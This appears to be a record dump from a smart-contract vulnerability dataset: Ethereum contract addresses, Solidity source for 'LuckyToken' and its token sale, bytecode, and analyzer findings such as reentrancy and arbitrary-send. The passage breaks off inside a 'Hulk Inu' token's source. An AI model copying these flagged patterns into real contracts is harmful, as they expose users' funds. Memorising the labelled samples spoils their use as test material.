6e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610811565b600081116114a95760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610811565b6000546001600160a01b038481169116148015906114d557506000546001600160a01b03838116911614155b15611644576001600160a01b03831630146114f9576019548111156114f957600080fd5b6000546001600160a01b0384811691161480159061152557506000546001600160a01b03838116911614155b1561153157600954600a555b6001600160a01b03831660009081526010602052604090205460ff1615801561157357506001600160a01b03821660009081526010602052604090205460ff16155b801561158f57503360009081526010602052604090205460ff16155b61159857600080fd5b60006115a3306109b6565b9050600f5481106115b35750600f545b600e546018549082101590600160a81b900460ff161580156115de5750601854600160c01b900460ff165b80156115e75750805b801561160157506018546001600160a01b03868116911614155b801561161b57506017546001600160a01b03868116911614155b1561164157600b54600a5561162f8261193d565b47801561163f5761163f47611721565b505b50505b601854600190600160b01b900460ff1661168d576018546001600160a01b0384811691161480159061168457506018546001600160a01b03858116911614155b1561168d575060005b6001600160a01b03841660009081526005602052604090205460ff16806116cc57506001600160a01b03831660009081526005602052604090205460ff165b156116d5575060005b6116e184848484611ae2565b50505050565b6000818484111561170b5760405162461bcd60e51b81526004016108119190612102565b5060006117188486612251565b95945050505050565b6013546001600160a01b03166108fc6117406004610ab385600a61187c565b6040518115909202916000818181858888f19350505050158015611768573d6000803e3d6000fd5b506016546001600160a01b03166108fc6117886003610ab385600a61187c565b6040518115909202916000818181858888f193505050501580156117b0573d6000803e3d6000fd5b506015546001600160a01b03166108fc6117d06003610ab385600a61187c565b6040518115909202916000818181858888f19350505050158015610b8d573d6000803e3d6000fd5b600060065482111561185f5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610811565b6000611869611b10565b9050611875838261187c565b9392505050565b600061187583836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611b33565b6000826118cd57506000610778565b60006118d98385612232565b9050826118e68583612212565b146118755760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610811565b6018805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061199357634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601754604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b1580156119e757600080fd5b505afa1580156119fb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611a1f9190611eff565b81600181518110611a4057634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152601754611a66913091168461125d565b60175460405163791ac94760e01b81526001600160a01b039091169063791ac94790611a9f90859060009086903090429060040161218a565b600060405180830381600087803b158015611ab957600080fd5b505af1158015611acd573d6000803e3d6000fd5b50506018805460ff60a81b1916905550505050565b80611aef57611aef611b61565b611afa848484611b8f565b806116e1576116e1600c54600855600d54600a55565b6000806000611b1d611c86565b9092509050611b2c828261187c565b9250505090565b60008183611b545760405162461bcd60e51b81526004016108119190612102565b5060006117188486612212565b600854158015611b715750600a54155b15611b7857565b60088054600c55600a8054600d5560009182905555565b600080600080600080611ba187611cc8565b6001600160a01b038f16600090815260026020526040902054959b50939950919750955093509150611bd39087611d25565b6001600160a01b03808b1660009081526002602052604080822093909355908a1681522054611c029086611d67565b6001600160a01b038916600090815260026020526040902055611c2481611dc6565b611c2e8483611e10565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611c7391815260200190565b60405180910390a3505050505050505050565b6006546000908190683635c9adc5dea00000611ca2828261187c565b821015611cbf57505060065492683635c9adc5dea0000092509050565b90939092509050565b6000806000806000806000806000611ce58a600854600a54611e34565b9250925092506000611cf5611b10565b90506000806000611d088e878787611e83565b919e509c509a509598509396509194505050505091939550919395565b600061187583836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506116e7565b600080611d7483856121fa565b9050838110156118755760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610811565b6000611dd0611b10565b90506000611dde83836118be565b30600090815260026020526040902054909150611dfb9082611d67565b30600090815260026020526040902055505050565b600654611e1d9083611d25565b600655600754611e2d9082611d67565b6007555050565b6000808080611e486064610c1a89896118be565b90506000611e5b6064610c1a8a896118be565b90506000611e7382611e6d8b86611d25565b90611d25565b9992985090965090945050505050565b6000808080611e9288866118be565b90506000611ea088876118be565b90506000611eae88886118be565b90506000611ec082611e6d8686611d25565b939b939a50919850919650505050505050565b8035611ede816122af565b919050565b600060208284031215611ef4578081fd5b8135611875816122af565b600060208284031215611f10578081fd5b8151611875816122af565b60008060408385031215611f2d578081fd5b8235611f38816122af565b91506020830135611f48816122af565b809150509250929050565b600080600060608486031215611f67578081fd5b8335611f72816122af565b92506020840135611f82816122af565b929592945050506040919091013590565b60008060408385031215611fa5578182fd5b8235611fb0816122af565b946020939093013593505050565b60006020808385031215611fd0578182fd5b823567ffffffffffffffff80821115611fe7578384fd5b818501915085601f830112611ffa578384fd5b81358181111561200c5761200c612299565b8060051b604051601f19603f8301168101818110858211171561203157612031612299565b604052828152858101935084860182860187018a101561204f578788fd5b8795505b838610156120785761206481611ed3565b855260019590950194938601938601612053565b5098975050505050505050565b600060208284031215612096578081fd5b8135611875816122c4565b6000602082840312156120b2578081fd5b8151611875816122c4565b6000602082840312156120ce578081fd5b5035919050565b6000806000606084860312156120e9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561212e57858101830151858201604001528201612112565b8181111561213f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156121d95784516001600160a01b0316835293830193918301916001016121b4565b50506001600160a01b03969096166060850152505050608001529392505050565b6000821982111561220d5761220d612283565b500190565b60008261222d57634e487b7160e01b81526012600452602481fd5b500490565b600081600019048311821515161561224c5761224c612283565b500290565b60008282101561226357612263612283565b500390565b600060001982141561227c5761227c612283565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146109b357600080fd5b80151581146109b357600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220db90b967ace5bcacea562964c28e457e604b2602f5a823c1629ccf51f0a4ffeb64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "tautology", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}, {"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
10,021
0x35f2AA4E39514C763EB90a24396e2D2c028A19E3
pragma solidity 0.4.14; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() { owner = msg.sender; } /** * @dev revert()s if called by any account other than the owner. */ modifier onlyOwner() { if (msg.sender != owner) { revert(); } _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) onlyOwner { if (newOwner != address(0)) { owner = newOwner; } } } /** * Math operations with safety checks */ library SafeMath { function mul256(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div256(uint256 a, uint256 b) internal returns (uint256) { require(b > 0); // Solidity automatically revert()s when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub256(uint256 a, uint256 b) internal returns (uint256) { require(b <= a); return a - b; } function add256(uint256 a, uint256 b) internal returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } function max64(uint64 a, uint64 b) internal constant returns (uint64) { return a >= b ? a : b; } function min64(uint64 a, uint64 b) internal constant returns (uint64) { return a < b ? a : b; } function max256(uint256 a, uint256 b) internal constant returns (uint256) { return a >= b ? a : b; } function min256(uint256 a, uint256 b) internal constant returns (uint256) { return a < b ? a : b; } } /** * @title ERC20Basic * @dev Simpler version of ERC20 interface */ contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title ERC20 interface * @dev ERC20 interface with allowances. */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value); function approve(address spender, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; /** * @dev Fix for the ERC20 short address attack. */ modifier onlyPayloadSize(uint size) { if(msg.data.length < size + 4) { revert(); } _; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) { balances[msg.sender] = balances[msg.sender].sub256(_value); balances[_to] = balances[_to].add256(_value); Transfer(msg.sender, _to, _value); } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint representing the amount owned by the passed address. */ function balanceOf(address _owner) constant returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * @dev Implemantation of the basic standart token. */ contract StandardToken is BasicToken, ERC20 { mapping (address => mapping (address => uint256)) allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already revert() if this condition is not met // if (_value > _allowance) revert(); balances[_to] = balances[_to].add256(_value); balances[_from] = balances[_from].sub256(_value); allowed[_from][msg.sender] = _allowance.sub256(_value); Transfer(_from, _to, _value); } /** * @dev Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) { // To change the approve amount you first have to reduce the addresses // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert(); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } /** * @dev Function to check the amount of tokens than an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint specifing the amount of tokens still avaible for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } } /** * @title LuckyToken * @dev The main Lucky token contract * */ contract LuckyToken is StandardToken, Ownable{ string public name = "Lucky888Coin"; string public symbol = "LKY"; uint public decimals = 18; event TokenBurned(uint256 value); function LuckyToken() { totalSupply = (10 ** 8) * (10 ** decimals); balances[msg.sender] = totalSupply; } /** * @dev Allows the owner to burn the token * @param _value number of tokens to be burned. */ function burn(uint _value) onlyOwner { require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub256(_value); totalSupply = totalSupply.sub256(_value); TokenBurned(_value); } } /** * @title InitialTeuTokenSale * @dev The Initial TEU token sale contract * */ contract initialLuckyTokenSale is Ownable { using SafeMath for uint256; event LogPeriodStart(uint period); event LogCollectionStart(uint period); event LogContribution(address indexed contributorAddress, uint256 weiAmount, uint period); event LogCollect(address indexed contributorAddress, uint256 tokenAmount, uint period); LuckyToken private token; mapping(uint => address) private walletOfPeriod; uint256 private minContribution = 0.1 ether; uint private saleStart; bool private isTokenCollectable = false; mapping(uint => uint) private periodStart; mapping(uint => uint) private periodDeadline; mapping(uint => uint256) private periodTokenPool; mapping(uint => mapping (address => uint256)) private contribution; mapping(uint => uint256) private periodContribution; mapping(uint => mapping (address => bool)) private collected; mapping(uint => mapping (address => uint256)) private tokenCollected; uint public totalPeriod = 0; uint public currentPeriod = 0; /** * @dev Initialise the contract * @param _tokenAddress address of TEU token * @param _walletPeriod1 address of period 1 wallet * @param _walletPeriod2 address of period 2 wallet * @param _tokenPoolPeriod1 amount of pool of token in period 1 * @param _tokenPoolPeriod2 amount of pool of token in period 2 * @param _saleStartDate start date / time of the token sale */ function initTokenSale (address _tokenAddress , address _walletPeriod1, address _walletPeriod2 , uint256 _tokenPoolPeriod1, uint256 _tokenPoolPeriod2 , uint _saleStartDate) onlyOwner { assert(totalPeriod == 0); assert(_tokenAddress != address(0)); assert(_walletPeriod1 != address(0)); assert(_walletPeriod2 != address(0)); walletOfPeriod[1] = _walletPeriod1; walletOfPeriod[2] = _walletPeriod2; periodTokenPool[1] = _tokenPoolPeriod1; periodTokenPool[2] = _tokenPoolPeriod2; token = LuckyToken(_tokenAddress); assert(token.owner() == owner); setPeriodStart(_saleStartDate); } /** * @dev Allows the owner to set the starting time. * @param _saleStartDate the new sales start date / time */ function setPeriodStart(uint _saleStartDate) onlyOwner beforeSaleStart private { totalPeriod = 0; saleStart = _saleStartDate; uint period1_contributionInterval = 2 hours; uint period1_collectionInterval = 2 hours; uint period2_contributionInterval = 2 hours; addPeriod(saleStart, saleStart + period1_contributionInterval); addPeriod(saleStart + period1_contributionInterval + period1_collectionInterval, saleStart + period1_contributionInterval + period1_collectionInterval + period2_contributionInterval); currentPeriod = 1; } function addPeriod(uint _periodStart, uint _periodDeadline) onlyOwner beforeSaleEnd private { require(_periodStart >= now && _periodDeadline > _periodStart && (totalPeriod == 0 || _periodStart > periodDeadline[totalPeriod])); totalPeriod = totalPeriod + 1; periodStart[totalPeriod] = _periodStart; periodDeadline[totalPeriod] = _periodDeadline; periodContribution[totalPeriod] = 0; } /** * @dev Call this method to let the contract to go into next period of sales */ function goNextPeriod() onlyOwner public { for (uint i = 1; i <= totalPeriod; i++) { if (currentPeriod < totalPeriod && now >= periodStart[currentPeriod + 1]) { currentPeriod = currentPeriod + 1; isTokenCollectable = false; LogPeriodStart(currentPeriod); } } } /** * @dev Call this method to let the contract to allow token collection after the contribution period */ function goTokenCollection() onlyOwner public { require(currentPeriod > 0 && now > periodDeadline[currentPeriod] && !isTokenCollectable); isTokenCollectable = true; LogCollectionStart(currentPeriod); } /** * @dev modifier to allow contribution only when the sale is ON */ modifier saleIsOn() { require(currentPeriod > 0 && now >= periodStart[currentPeriod] && now < periodDeadline[currentPeriod]); _; } /** * @dev modifier to allow collection only when the collection is ON */ modifier collectIsOn() { require(isTokenCollectable && currentPeriod > 0 && now > periodDeadline[currentPeriod] && (currentPeriod == totalPeriod || now < periodStart[currentPeriod + 1])); _; } /** * @dev modifier to ensure it is before start of first period of sale */ modifier beforeSaleStart() { require(totalPeriod == 0 || now < periodStart[1]); _; } /** * @dev modifier to ensure it is before the deadline of last sale period */ modifier beforeSaleEnd() { require(currentPeriod == 0 || now < periodDeadline[totalPeriod]); _; } /** * @dev modifier to ensure it is after the deadline of last sale period */ modifier afterSaleEnd() { require(currentPeriod > 0 && now > periodDeadline[totalPeriod]); _; } modifier overMinContribution() { require(msg.value >= minContribution); _; } /** * @dev record the contribution of a contribution */ function contribute() private saleIsOn overMinContribution { contribution[currentPeriod][msg.sender] = contribution[currentPeriod][msg.sender].add256(msg.value); periodContribution[currentPeriod] = periodContribution[currentPeriod].add256(msg.value); assert(walletOfPeriod[currentPeriod].send(msg.value)); LogContribution(msg.sender, msg.value, currentPeriod); } /** * @dev Allows contributor to collect all token alloted for all period after preiod deadline */ function collectToken() public collectIsOn { uint256 _tokenCollected = 0; for (uint i = 1; i <= totalPeriod; i++) { if (!collected[i][msg.sender] && contribution[i][msg.sender] > 0) { _tokenCollected = contribution[i][msg.sender].mul256(periodTokenPool[i]).div256(periodContribution[i]); collected[i][msg.sender] = true; token.transfer(msg.sender, _tokenCollected); tokenCollected[i][msg.sender] = _tokenCollected; LogCollect(msg.sender, _tokenCollected, i); } } } /** * @dev Allow owner to transfer out the token in the contract * @param _to address to transfer to * @param _amount amount to transfer */ function transferTokenOut(address _to, uint256 _amount) public onlyOwner { token.transfer(_to, _amount); } /** * @dev Allow owner to transfer out the ether in the contract * @param _to address to transfer to * @param _amount amount to transfer */ function transferEtherOut(address _to, uint256 _amount) public onlyOwner { assert(_to.send(_amount)); } /** * @dev to get the contribution amount of any contributor under different period * @param _period period to get the contribution amount * @param _contributor contributor to get the conribution amount */ function contributionOf(uint _period, address _contributor) public constant returns (uint256) { return contribution[_period][_contributor] ; } /** * @dev to get the total contribution amount of a given period * @param _period period to get the contribution amount */ function periodContributionOf(uint _period) public constant returns (uint256) { return periodContribution[_period]; } /** * @dev to check if token is collected by any contributor under different period * @param _period period to get the collected status * @param _contributor contributor to get collected status */ function isTokenCollected(uint _period, address _contributor) public constant returns (bool) { return collected[_period][_contributor] ; } /** * @dev to get the amount of token collected by any contributor under different period * @param _period period to get the amount * @param _contributor contributor to get amont */ function tokenCollectedOf(uint _period, address _contributor) public constant returns (uint256) { return tokenCollected[_period][_contributor] ; } /** * @dev Fallback function which receives ether and create the appropriate number of tokens for the * msg.sender. */ function() external payable { contribute(); } }
0x606060405236156100cd576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680622e0ae7146100d9578063060406181461011b57806328dee1d2146101445780632d04d07d146101865780632d54ab451461019b5780636813947f1461022d5780637e08a84614610283578063887699f3146102d95780638da5cb5b146103105780638e04503114610365578063cc4cc05f146103bf578063ce14a46e146103d4578063dc7e5762146103fd578063f2fde38b14610412575b5b6100d661044b565b5b005b34156100e457600080fd5b610119600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091905050610679565b005b341561012657600080fd5b61012e6107b2565b6040518082815260200191505060405180910390f35b341561014f57600080fd5b610184600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919080359060200190919050506107b8565b005b341561019157600080fd5b610199610856565b005b34156101a657600080fd5b61022b600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff1690602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091908035906020019091908035906020019091908035906020019091905050610953565b005b341561023857600080fd5b61026d600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610c93565b6040518082815260200191505060405180910390f35b341561028e57600080fd5b6102c3600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610cef565b6040518082815260200191505060405180910390f35b34156102e457600080fd5b6102fa6004808035906020019091905050610d4b565b6040518082815260200191505060405180910390f35b341561031b57600080fd5b610323610d69565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561037057600080fd5b6103a5600480803590602001909190803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050610d8e565b604051808215151515815260200191505060405180910390f35b34156103ca57600080fd5b6103d2610df7565b005b34156103df57600080fd5b6103e76111e6565b6040518082815260200191505060405180910390f35b341561040857600080fd5b6104106111ec565b005b341561041d57600080fd5b610449600480803573ffffffffffffffffffffffffffffffffffffffff169060200190919050506112fd565b005b6000600e54118015610472575060066000600e548152602001908152602001600020544210155b8015610492575060076000600e5481526020019081526020016000205442105b151561049d57600080fd5b60035434101515156104ae57600080fd5b6105133460096000600e54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113d490919063ffffffff16565b60096000600e54815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061059134600a6000600e548152602001908152602001600020546113d490919063ffffffff16565b600a6000600e5481526020019081526020016000208190555060026000600e54815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc349081150290604051600060405180830381858888f19350505050151561061c57fe5b3373ffffffffffffffffffffffffffffffffffffffff167f85f3c568c46211a851eab01fa3dd8725e07fb05eeaf9f852859aa866f787d9fe34600e54604051808381526020018281526020019250505060405180910390a25b5b5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156106d457600080fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb83836040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561079857600080fd5b6102c65a03f115156107a957600080fd5b5050505b5b5050565b600e5481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561081357600080fd5b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050151561085057fe5b5b5b5050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156108b157600080fd5b6000600e541180156108d7575060076000600e5481526020019081526020016000205442115b80156108f05750600560009054906101000a900460ff16155b15156108fb57600080fd5b6001600560006101000a81548160ff0219169083151502179055507f96f9cd5664a00944943aa49e6f941b7f345cd72081f06089366d0fc465258f4f600e546040518082815260200191505060405180910390a15b5b565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109ae57600080fd5b6000600d541415156109bc57fe5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515156109f557fe5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614151515610a2e57fe5b600073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610a6757fe5b84600260006001815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555083600260006002815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550826008600060018152602001908152602001600020819055508160086000600281526020019081526020016000208190555085600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16638da5cb5b6000604051602001526040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b1515610c4657600080fd5b6102c65a03f11515610c5757600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff16141515610c8057fe5b610c89816113f3565b5b5b505050505050565b60006009600084815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b6000600c600084815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490505b92915050565b6000600a60008381526020019081526020016000205490505b919050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b600084815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690505b92915050565b600080600560009054906101000a900460ff168015610e1857506000600e54115b8015610e38575060076000600e5481526020019081526020016000205442115b8015610e695750600d54600e541480610e685750600660006001600e540181526020019081526020016000205442105b5b1515610e7457600080fd5b60009150600190505b600d54811115156111e057600b600082815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f43575060006009600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156111d257610fe3600a600083815260200190815260200160002054610fd560086000858152602001908152602001600020546009600086815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114d990919063ffffffff16565b61150d90919063ffffffff16565b91506001600b600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33846040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050600060405180830381600087803b151561111257600080fd5b6102c65a03f1151561112357600080fd5b50505081600c600083815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503373ffffffffffffffffffffffffffffffffffffffff167f8c662ffa280f3b09b74e8908d78d4e55f949097074b30a83319922849a3ac18e8383604051808381526020018281526020019250505060405180910390a25b5b8080600101915050610e7d565b5b5b5050565b600d5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561124957600080fd5b600190505b600d54811115156112f857600d54600e541080156112845750600660006001600e54018152602001908152602001600020544210155b156112ea576001600e5401600e819055506000600560006101000a81548160ff0219169083151502179055507f81883504c8b422a3330d4db5ade0bff294aed290881084bb3a2d42acebcd283e600e546040518082815260200191505060405180910390a15b5b808060010191505061124e565b5b5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561135857600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415156113cf57806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b5b5b50565b60008082840190508381101515156113e857fe5b8091505b5092915050565b60008060008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561145357600080fd5b6000600d541480611477575060066000600181526020019081526020016000205442105b151561148257600080fd5b6000600d8190555083600481905550611c209250611c209150611c2090506114b06004548460045401611538565b6114c882846004540101828486600454010101611538565b6001600e819055505b5b5b50505050565b600080828402905060008414806114fa57508284828115156114f757fe5b04145b151561150257fe5b8091505b5092915050565b60008060008311151561151f57600080fd5b828481151561152a57fe5b0490508091505b5092915050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561159357600080fd5b6000600e5414806115b8575060076000600d5481526020019081526020016000205442105b15156115c357600080fd5b4282101580156115d257508181115b80156115ff57506000600d5414806115fe575060076000600d5481526020019081526020016000205482115b5b151561160a57600080fd5b6001600d5401600d819055508160066000600d548152602001908152602001600020819055508060076000600d548152602001908152602001600020819055506000600a6000600d548152602001908152602001600020819055505b5b5b50505600a165627a7a72305820ecb4b0e202f346384e0c0331f1ec1b08938694d47ec15cc2fed8ecd52b25a7ce0029
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}}
10,022
0x73AE523A5a304985cb719464622476e4E1fa5C5d
/** *Submitted for verification at Etherscan.io on 2021-07-01 */ /* Hulk Inu (HULKINU) TG: https://t.me/HulkInuToken */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.6; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function 